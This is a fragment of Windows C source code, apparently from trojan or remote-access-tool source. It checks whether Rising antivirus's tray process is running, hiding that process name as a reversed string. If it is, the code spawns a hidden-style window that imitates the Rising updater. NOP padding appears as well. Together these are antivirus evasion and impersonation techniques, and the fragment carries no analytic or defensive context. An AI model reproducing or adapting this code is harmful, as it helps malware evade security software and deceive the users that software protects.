BOOL ProcessExit(LPCTSTR szProcName) { __asm NOP;__asm NOP;__asm NOP;__asm NOP;__asm NOP;__asm NOP;__asm NOP; PROCESSENTRY32 pe; DWORD dwRet; BOOL bFound = FALSE; HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSP) { pe.dwSize = sizeof( pe ); for (dwRet = Process32First(hSP, &pe); dwRet; dwRet = Process32Next(hSP, &pe)) { if (lstrcmpi( szProcName, pe.szExeFile) == 0) { bFound = TRUE; break; } } CloseHandle(hSP); } return bFound; } /////////////////////////////////////////////瑞星 窗口/////////////// LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { return DefWindowProc(hWnd, message, wParam, lParam); } DWORD WINAPI Fun_CreateWindow( LPVOID pData ) { HWND hWnd = NULL; HINSTANCE SelfHin = GetModuleHandle(NULL); MSG msg; WNDCLASSEX wcex; PCHAR szWindowClass = "瑞星升级程序"; memset( &wcex, 0, sizeof(WNDCLASSEX) ); wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = (WNDPROC)WndProc; wcex.hInstance = SelfHin; wcex.hIcon = LoadIcon( NULL, IDI_WINLOGO ); wcex.hCursor = LoadCursor( NULL, IDC_ARROW ); wcex.hbrBackground = (HBRUSH)COLOR_WINDOW; wcex.lpszClassName = szWindowClass; RegisterClassEx(&wcex); hWnd = CreateWindow( szWindowClass, "瑞星升级程序", WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, NULL, NULL, SelfHin, NULL); if (hWnd) { ShowWindow(hWnd, SW_SHOW ); UpdateWindow(hWnd); while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return 0; } /////////////////////////////////////////// if (ProcessExit(strrev("exe.yartsR"))) { CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fun_CreateWindow, NULL, 0, NULL); Sleep(20); }